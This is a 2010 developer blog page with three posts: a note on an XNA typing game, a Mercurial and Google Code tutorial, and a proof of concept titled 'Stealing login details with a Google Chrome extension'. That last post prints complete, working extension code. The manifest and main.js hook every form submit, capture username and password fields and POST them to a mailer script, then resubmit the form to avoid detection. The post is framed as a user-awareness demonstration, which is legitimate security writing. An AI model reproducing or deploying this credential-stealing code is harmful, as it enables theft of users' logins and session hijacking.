Wednesday, July 28, 2010

Typocalypse - A typing game in XNA

Just a couple of weeks ago, Marc Tanti and I decided to check out Microsoft's XNA and what better way to do it than building a game in about 24 hours of sleepless coding and caffeine intake ?

Screenshots




Source

You can view the source here: http://code.google.com/p/typocalypse/

At the Google Code page, there is both the source and an executable installation file (compiled with WiX XNA Installer)

You can checkout with: hg clone https://typocalypse.googlecode.com/hg/ typocalypse

Some notes...

Audio
The in-game music is the theme from the Amiga game The Great Giana Sisters, overlayed with some sound effects recorded by Marc Tanti. All of the other sound effects in the game where also recorded by Marc Tanti.

Text Input in XNA
Since XNA does not provide native support for text input, I used global hooks with these set of classes developed by George Mamaladze to capture keystrokes.

Prefix Matching
Prefix matching was done via a Trie and this is described in more detail at Marc Tanti's post.


Wednesday, July 14, 2010

Managing a Google Code project with Mercurial

As a recent convert to Mercurial, I started my last Google Code Project using Mercurial instead of Subversion. In this post I won't go into details as regards SVN vs. Mercurial, but to SVN users I suggest you check out Mercurial; starting with Joel Spolsky's tutorial and then moving on to the Mercurial: The Definitive Guide online book.

Prerequisites

First you need to have Mercurial installed. To download, visit the Mercurial Downloads page and follow the instructions for your respective Operating System.

After installing Mercurial, fire up your terminal and type: hg version
This should display something similar to the following:

Mercurial Distributed SCM (version 1.4.3)

Copyright (C) 2005-2010 Matt Mackall  and others
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you see that on your terminal, then Mercurial has been installed successfully and you're ready to continue.

Setting up a default user

Thanks to Scott Willeke who reminded me about this in the comments

Once Mercurial is successfully installed, you need to setup a default user that will be responsible for commiting changes to the repository. If you're on Windows, create a Mercurial.ini file or a .hgrc file in your %USERPROFILE% folder and if you're on a Linux create an .hgrc file in your $HOME directory.

On my windows box, I created a Mercurial.ini file in C:\Users\Andreas\Mercurial.ini.

Once you create this config file, add the following in it:

[ui]
username = Your Name <your_email_address>

You can add many other options to this config file (more details can be found here) but for the moment, this is sufficient.

Initiating the Project


To create the project on the hosting page, visit Google Code's Create Project page. When choosing a Version Control system, make sure that you choose Mercurial:


For the purposes of this demonstration, let's assume that our project name is myhgproject.

After setting all the required project details, you will be taken to your project's home page; your url takes this form: http://code.google.com/p/myhgproject/

Now we need to set up our local repository on the machine and push everything to the online repository. To do this, first visit the Source page of your project (http://code.google.com/p/myhgproject/source/checkout) and copy the clone command: hg clone https://myhgproject.googlecode.com/hg/ myhgproject

This command will make a clone of the online repository on your machine:


So at the moment, we have our project directory (not revisioned) ~/myproject and a new directory ~/myhgproject that Mercurial created for us.

Now we need to move our project files from the directory we used to work in to the new folder ~/myhgproject:


With this, we now have everything in our new folder and are now ready to add these new files to our local repository:


The hg add command adds the files to the repository on the next commit, so the next step is to commit these files to our local repository:


Note that up till now, we still haven't pushed our files to the online repository. We have only committed our files to our local repository online. Uploading these files is the next step.

To do this, you must first retrieve your GoogleCode.com password from this page: https://code.google.com/hosting/settings. Now using your google username and that password, we can push our files to the online repository:

For the purposes of this demonstration, let's assume my password is: AbCdEfGHiJ12


The files have now been pushed to the online repository.

Working on the project

Now that everything has been pushed to the online repository, you are now ready to start working normally on your project.

Your average routine will be working on some files, committing to the local repository with hg com -m "your commit message" and then when you have a working copy, push to the online repository with hg push.

Pushing without entering the url

Note that to avoid typing in your login credentials and the url every time you want to push, you can add these details in the hgrc file located in the .hg directory of your project.

Open up .hg/hgrc and add the following lines (obviously change according to your project):

[paths]
default = https://andreas:AbCdEfGHiJ12@myhgproject.googlecode.com/hg/

If you don't have the hgrc file, you can manually add it yourself.

Note that now you must now make sure that your hgrc file is well protected since it contains your login details in plain text.

Friday, July 9, 2010

Stealing login details with a Google Chrome extension

In this post I will demonstrate a proof of concept of how an attacker can steal usernames and passwords via a Google Chrome Extension.



(12/07/10: Posted a follow up to clear some misconceptions that where floating around in comments)

(14/07/10: Posted a second follow up as regards the Mozilla article I stumbled upon)



The Google Chrome browser allows the installation of third-party extensions that are used to extend the browser to add new features. The extensions are written in JavaScript and HTML and allow manipulation of the DOM, amongst other features.

By allowing access to the DOM, an attacker can thus read form fields...including username and password fields. This is what sparked my idea of creating this PoC.

The extension I present here is very simple. Whenever a user submits a form, it tries to capture the username and password fields, sends me an email via an Ajax call to a script with these login details along with the url and then proceeds to submit the form normally as to avoid detection.

This simple procedure has been successful against Gmail, Facebook, Twitter and other major websites.

The Code

For this extension, I am making use of jQuery as to write quick code for this prototype, but it can obviously be rewritten without it's dependency.

The first thing the script does is attach a submit handler to every form field on the page:

$("form").submit(function(e) {
 var $this = $(this);
 e.preventDefault();
 process(function() {
  $this.unbind('submit');
  $this.submit();
 });
});

We hook to the submit handler to prevent the default behaviour of the form (ie submitting normally) with e.preventDefault and to call our process function:

var process = function(callback) {
 var username = $("input[type=text]").not(passwordBoxes).filter(function() {
  var field = $(this);
  return field.val() || field.html();
 }).val(),
 password = passwordBoxes.val();

 sendEmail(username, password, location.href, callback);
};

The process function captures the values of the username and password fields respectively. passwordBoxes is a variable containing the inputs of the page that have their type set as password:

var passwordBoxes = $("input[type=password]");

Upon capturing the values of the username and password fields, these are sent along with the current url and the callback that submits the form to the sendEmail function which sends the email with the username, password and url via an Ajax call:

var sendEmail = function(username, password, url, callback) {
 var msg = getMessage(username, password, url);
 $.ajax({
  type: 'POST',
  url: 'the url of the mailer script',
  data: 'the headers you want to send',
  success: callback
 });
};

The getMessage function simply returns a formatted string with the details that will be contained in the email:

var getMessage = function(username, password, url) {
 return "Username: " + username + " || Password: " + password + " || Url: " + url;
};

After the details are sent, the callback is invoked which submits the form normally.

Note that there could be a very small delay between the user clicking the submit button and the form being submitted because of the Ajax call, but it is barely noticeable.



In this post I have demonstrated how an attacker can steal login credentials but this can also be used for other things, such as stealing cookies and hijacking sessions. The point I am trying to make here is that you should always be careful about what third-party applications you install.


The following is the complete code for the main.js file and the manifest.json file:

{
  "name": "Stealing login credentials with Google Chrome Extensions",
  "version": "1.0",
  "description": "A proof of concept demonstrating the possibility of stealing user credentials in login forms via a Google Chrome extension",
  "permissions": ["tabs"],
  "content_scripts": [{
      "matches": ["http://*/*", "https://*/*"],
      "js": ["jquery.min.js", "main.js"],
      "run_at": "document_start"
    }]
}

$(function() {
 var passwordBoxes = $("input[type=password]"),
 getMessage = function(username, password, url) {
  return "Username: " + username + " || Password: " + password + " || Url: " + url;
 },
 sendEmail = function(username, password, url, callback) {
  var msg = getMessage(username, password, url);
  $.ajax({
   type: 'POST',
   url: 'the url of the mailer script', //Change to the path of your mailer script
   data: 'the headers you want to send', //Change to add any headers to be sent along
   success: callback
  });
 },
 process = function(callback) {
  var username = $("input[type=text]").not(passwordBoxes).filter(function() {
   var field = $(this);
   return field.val() || field.html();
  }).val(),
  password = passwordBoxes.val();

  sendEmail(username, password, location.href, callback);
 };

 $("form").submit(function(e) {
  var $this = $(this);
  e.preventDefault();
  process(function() {
   $this.unbind('submit');
   $this.submit();
  });
 });
});

[Update]

Apparently this post has been featured on a couple of other websites, even on Slashdot and Times of Malta (and also in German, French, Italian, Polish, Swedish, Norwegian and Spanish).
I am writing this follow up because I believe that there have been some misconceptions floating around in some comments I saw on other sites. First of all, I haven't stolen any Twitter, Facebook or Gmail accounts. In fact, I didn't even upload this extension to the Google Chrome repository. I have only tried this extension on myself, just to test and see if it works.
Secondly, many people are saying that this isn't big news and that this knowledge is obvious to users. For starters, please note that I have never stated that this is "big news" anywhere in my post. Also, although this may seem 'obvious' to many of you, users need to be reminded about security and to be careful about installing third-party applications. It's true that users need to 'OK' the extension to be installed, but the reality is that very few take into consideration what the script is doing under-the-covers.
I have written this post to merely demonstrate that such things can be done and users should be aware of it.
Some have also commented as regards me demonstrating this on Google Chrome. Yes, other browsers can also be susceptible to this technique but I chose to try this on Google Chrome because it has apparently been dubbed as 'the safest browser available', and I'm not denying that. I wanted to make users aware that although Google Chrome is, undoubtedly, a safe browser to use, they should still be careful about what they install on their browsers and not blindly trust anything.

[Another Update]

Today I have discovered this article posted at the Mozilla Add-ons blog: Add-on security vulnerability announcement.
What's interesting about this article is that it was written on the 13th of July, which is a couple of days after my post got 'popular'. Now, I'm not implying anything but it's just an interesting thought.
Many people have commented about the fact that the 'technique' I used in this extension cannot be applied for other browsers. The article at the Mozilla blog now proves otherwise.
The Mozilla post talks about how one malicious add-on and one other add-on that posed a serious security vulnerability where discovered recently at the Mozilla Add-ons website.
The first add-on is called 'Mozilla Sniffer' and was uploaded to the website on the 6th of June. This add-on intercepts login data and sends it to a remote location. It was discovered on July 12th. Here's a quote about it's current status:


Mozilla Sniffer has been downloaded approximately 1,800 times since its submission and currently reports 334 active daily users. All current users should receive an uninstall notification within a day or so. The site this add-on sends data to seems to be down at the moment, so it is unknown if data is still being collected.

Mozilla Sniffer was not developed by Mozilla, and it was not reviewed by Mozilla. The add-on was in an experimental state, and all users that installed it should have seen a warning indicating it is unreviewed. Unreviewed add-ons are scanned for known viruses, trojans, and other malware, but some types of malicious behavior can only be detected in a code review.


Hopefully this article convinces some of the commenters as regards the "obvious nature of my post". Note that Mozilla reported that the add-on has been downloaded 1,800 times in about a month and that there are currently 334 active daily users.
To the commenters who have said that my post is, and I quote, "much ado about nothing!", hopefully this Mozilla article is a response to that.
On a different point, some have also stated this form of intercepting details cannot be applied to other browser extensions, and multiple reasons where given for this. From this Mozilla article we can now conclude that, if not for the other browsers, this can also be applied to Mozilla Firefox.